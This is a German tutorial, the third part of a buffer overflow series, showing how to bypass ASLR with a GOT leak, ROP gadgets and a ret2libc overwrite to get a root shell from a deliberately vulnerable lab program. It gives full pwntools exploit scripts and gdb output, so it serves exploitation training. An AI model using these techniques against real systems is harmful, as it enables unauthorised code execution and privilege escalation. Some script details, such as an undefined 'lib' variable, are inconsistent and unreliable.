Buffer Overflow im 64-Bit Stack - Teil 3
In Teil 2 haben wir den String /bin/zsh
an die Funktion System()
gesendet, um eine root Shell zu öffen. Hierzu mussten wir aber ASLR deaktivieren- ASLR verändert Funktionsadressen bei jedem Programmneustart. Superkojiman beschreibt in seinem Blog ausführlich, wie man diesen Schutz dennoch umgehen kann. Hierzu müssen wir uns aber erstmal ein paar Dinge veranschaulichen
Einleitung
Dieser Artikel ist Teil der Buffer Overflow Reihe. Hier gibt es mehr zu diesem Thema:
Theorie
In Linux Systemen verwendet man üblicherweise dynamische Programmbibliotheken. Dies hat den Vorteil, dass wir nicht jede Funktion in jedem Programm neuschreiben müssen, sondern einfach auf die Funktion des Systems zugreifen können, welche z.B. in libc
liegt. Ist ASLR nun aktiviert, werden die Adressen bei jedem Programmstart verändert.
PLT und GOT
PLT (Procedure Linkage Table) und GOT (Global Offset Table) übernehmen hierbei das Zusammenspiel beim dynamischen Linking. Die Funktion write()
zeigt beim Aufruf nicht auf die eigentliche Funktion, sondern auf write@plt
. Von der PLT wird dann der GOT Eintrag für die Funktion angefordert.
In der GOT liegen nun alle libc
Adressen und PLT leitet die Ausführung an diese um. Ist die Adresse noch nicht vorhanden, sucht ld.so
nach dieser und speichert sie in der GOT. Dieses Prinzip können wir uns nun zu Nutze machen.1)
Leak and Overwrite
Um an unsere root Shell zu kommen, müssen wir nun folgendes machen:
- Wir leaken den GOT Eintrag für die Funktion
write()
- Wir brauchen die Basis-Adresse für
libc
, um die Adressen anderer Funktionen berechnen zu können. Dielibc
-Basis-Adresse ist die Differenz zwischen der Adresse vonmemset()
und demwrite()
-Offset auslibc.so.6
- Die Adresse einer Library-Funktion erhalten wir, indem wir den jeweiligen
libc.so.6
Offset mit derlibc
-Basis-Adresse addieren - In der GOT überschreiben wir eine Adresse mit der von
system()
, so dass wir beim Aufruf der Funktion einen Systembefehl absetzen können
[-------------------------------------code-------------------------------------] 0x4011de <vuln+109>: lea rax,[rbp-0xa0] 0x4011e5 <vuln+116>: mov rsi,rax 0x4011e8 <vuln+119>: mov edi,0x1 => 0x4011ed <vuln+124>: call 0x401030 <write@plt> 0x4011f2 <vuln+129>: mov eax,0x0 0x4011f7 <vuln+134>: leave
Abhängigkeiten
C Programm
Der Quellcode und die kompilierte Binary sind auch auf Github verfügbar.
- bof-part3.c
/* Code https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ */ /* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3 */ /* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */ #include <stdio.h> #include <string.h> #include <unistd.h> void helper() { asm("pop %rdi; pop %rsi; pop %rdx; ret"); } int vuln() { char buf[150]; ssize_t b; memset(buf, 0, 150); printf("Enter input: "); b = read(0, buf, 400); printf("Recv: "); write(1, buf, b); return 0; } int main(int argc, char *argv[]){ setbuf(stdout, 0); vuln(); return 0; }
Debug
Achtung!
Die Techniken und Methoden in diesem Artikel sind ausschließlich für Lernzwecke. Ein Missbrauch ist strafbar!3)socat Listener starten
Das mitgelieferte socat besitzt Mechanismen zum Schutz des Speichers. Im Abschnitt Abhängigkeiten gibt es eine modifizierte Version auf Github.
/dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3
GOT Adresse von write
Wir prüfen, wo der Pfad zur libc
ist:
ldd bof-part3 linux-vdso.so.1 (0x00007ffe5d956000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c7dd7000) /lib64/ld-linux-x86-64.so.2 (0x00007f53c7fd2000)
Anschließend finden wir das Offset für write()
heraus:
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write 2839: 00000000000f7af0 157 FUNC WEAK DEFAULT 16 write@@GLIBC_2.2.5
Breakpoint für write
Wir müssen nun heraus finden, an welcher Stelle write()
aufgerufen wird.
0x4011e8 <vuln+119>: mov edi,0x1 => 0x4011ed <vuln+124>: call 0x401030 <write@plt> 0x4011f2 <vuln+129>: mov eax,0x0
Der Aufruf geschieht bei 0x4011ed
und wir setzen hier unseren Haltepunkt.
echo "br *0x4011ed" >> ~/.gdbinit
gdb an socat anhängen
gdb -q -p `pidof socat` Breakpoint 1 at 0x4011ed Attaching to process 111187
Verbindung mit Port 2323
Wir verbinden uns mit nc und triggern den Haltepunkt.
nc localhost 2323 Enter input: 123 Recv: 123
Suche nach write GOT
Ist unser Haltepunkt erreicht, suchen wir nach der write
GOT Adresse
gdb-peda$ x/gx 0x404000 0x404000 <write@got.plt>: 0x0000000000401036 gdb-peda$ x/5i 0x0000000000401036 0x401036 <write@plt+6>: push 0x0 0x40103b <write@plt+11>: jmp 0x401020 0x401040 <setbuf@plt>: jmp QWORD PTR [rip+0x2fc2] # 0x404008 <setbuf@got.plt> 0x401046 <setbuf@plt+6>: push 0x1 0x40104b <setbuf@plt+11>: jmp 0x401020
Wir gehen einen Schritt weiter, ohne in die Funktion reinzuspringen. Anschließend suchen wir erneut.
next gdb-peda$ x/gx 0x404000 0x404000 <write@got.plt>: 0x00007f559dd76af0 gdb-peda$ x/5i 0x00007f559dd76af0 0x7f559dd76af0 <__GI___libc_write>: cmp BYTE PTR [rip+0xe3ae1],0x0 # 0x7f559de5a5d8 <__libc_single_threaded> 0x7f559dd76af7 <__GI___libc_write+7>: je 0x7f559dd76b10 <__GI___libc_write+32> 0x7f559dd76af9 <__GI___libc_write+9>: mov eax,0x1 0x7f559dd76afe <__GI___libc_write+14>: syscall 0x7f559dd76b00 <__GI___libc_write+16>: cmp rax,0xfffffffffffff000
An diesem Punkt zeigt die Adresse auf write()
Exploit
Stage 1: write Adresse
Also schreiben wir uns ein erstes Exploit, um write()
zu leaken.
- buf3-stage1.py
#!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # RIP Offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt buf += b'EOPAY' # Ende des Payloads print("[+] send payload") s.send(buf) # buf überschreibt RIP s.recvuntil(b'EOPAY') # Empfange Daten bis EOPAY print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak)))
Wir führen das Ganze aus und erhalten folgende Ausgabe
[+] Opening connection to 127.0.0.1 on port 2323: Done [+] send payload [+] recvd 'EOPAY' [+] leaked write address: 0x7f6805548e80 [*] Closed connection to 127.0.0.1 port 2323
Damit wäre die erste Adresse geleakt.
Stage 2 - libc Base und system
Nun benötigen wir die libc-Basis Adresse und die von system()
. Diese berechnen wir so:
- $base(libc) = got(write) - offset(write)$
- $address(system) = base(libc) + offset(system)$
Die Offset Adresse erhalten wir so:
┌──(kali㉿kali)-[~/repo] └─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system 1022: 000000000004c920 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5
Wir überarbeiten also unser Exploit:
- buf3-stage2.py
#!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget gadget write_off = 0x0f7af0 system_off = 0x04c920 bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # RIP offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt buf += b'EOPAY' # Ende des Payloads print("[+] send payload") s.send(buf) s.recvuntil(b'EOPAY') print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) libc_base = got_leak - write_off # Berechne libc Basis print("[+] libc base is at", hex(libc_base) ) system_addr = libc_base + system_off # Berechne system Adresse print("[+] system() is at", hex(system_addr) )
Und nun schauen wir uns die Ausgabe an:
[+] Opening connection to 127.0.0.1 on port 2323: Done [+] send payload [+] recvd 'EOPAY' [+] leaked write address: 0x7f73dc1c7e80 [+] libc base is at 0x7f73dc12c340 [+] system() is at 0x7f73dc178c60 [*] Closed connection to 127.0.0.1 port 2323
Stage 3 - Adresse überschreiben und Code ausführen
Für den letzten Abschnitt benötigen wir einen beschreibbaren Speicherbereich. Hierzu listen wir uns die Speicherzuweisungen in gdb auf.
gdb-peda$ info proc mappings process 105836 Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x400000 0x401000 0x1000 0x0 r--p /home/kali/repo/bof-part3 0x401000 0x402000 0x1000 0x1000 r-xp /home/kali/repo/bof-part3 0x402000 0x403000 0x1000 0x2000 r--p /home/kali/repo/bof-part3 0x403000 0x404000 0x1000 0x2000 r--p /home/kali/repo/bof-part3 0x404000 0x405000 0x1000 0x3000 rw-p /home/kali/repo/bof-part3 0x7f0f6fb35000 0x7f0f6fb38000 0x3000 0x0 rw-p
Der Bereich 0x404000 - 0x405000 ist beschreibbar und statisch. Das sehen wir uns genauer an.
gdb-peda$ x/30i 0x404000 ... 0x404027 <read@got.plt+7>: add BYTE PTR [rax],al 0x404029: add BYTE PTR [rax],al 0x40402b: add BYTE PTR [rax],al ...
0x404029 sollte für unseren Zweck perfekt sein.
- buf3-stage3.py
#!/usr/bin/env python from pwn import * pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget write_off = 0x0f7af0 system_off = 0x04c920 writable = 0x404029 bin=ELF("./bof-part3") s=remote("127.0.0.1",2323) s.recvuntil(b": ") buf = b"A"*168 # padding to RIP's offset buf += p64(pop3ret) # POP Argumente buf += p64(constants.STDOUT_FILENO) # stdout buf += p64(bin.got[b'write']) # lese von write@got buf += p64(0x8) # schreibe 8 bytes in stdout buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt # Teil 2: schreibe system Adresse in write got mittels read buf+=p64(pop3ret) buf+=p64(constants.STDIN_FILENO) buf+=p64(bin.got[b'write']) #write@got buf+=p64(0x8) buf+=p64(bin.plt[b'read']) #read@plt # Teil 3: schreibe /bin/sh in beschreibbare Adresse buf+=p64(pop3ret) buf+=p64(constants.STDIN_FILENO) buf+=p64(writable) buf+=p64(0x8) buf+=p64(bin.plt[b'read']) # Teil 4: rufe system auf buf+=p64(pop3ret) buf+=p64(writable) buf+=p64(0xdeadbeef) buf+=p64(0xcafebabe) buf+=p64(bin.plt[b'write']) buf += b'EOPAY' print("[+] send payload") s.send(buf) # buf überschreibt RIP s.recvuntil(b'EOPAY') print("[+] recvd \'EOPAY\'") got_leak=u64(s.recv(8)) print("[+] leaked write address: {}".format(hex(got_leak))) #s2 libc_base=got_leak-write_off print(hex(lib.symbols[b'write'])) print("[+] libc base is at {}".format(hex(libc_base))) system_addr=libc_base+system_off print(hex(lib.symbols[b'system'])) print("[+] system() is at {}".format(hex(system_addr))) #part 2 print("[+] sending system() address") s.send(p64(system_addr)) #part 3 print("[+] sending /bin/zsh") s.send(b'/bin/zsh') #part 4 print("[+] trying shell") s.interactive()
Optimierungen
Das Exploit mit weiteren pwntools Optimierungen und automatisiertem socat Start ist im Github Repository zu finden. Das Exploit wurde ursprünglich von Zopho Oxx geschrieben 4)
root Shell
Wir starten socat und bof-part3 als root
su root ┌──(root㉿kali)-[/home/kali/repo] └─# /home/kali/repo/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3
und anschließend das Exploit als unpriviligierter Nutzer
┌──(kali㉿kali)-[~/repo] └─$ python3 buffer3.py
Wir erhalten unsere Root Shell und haben die Kontrolle über das System.
Repository
Projektdateien | nosoc-repo-bof-part3.zip ZIP |
---|---|
Größe | 9,93 KB |
Prüfsumme (SHA256) | d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8 |
Diskussion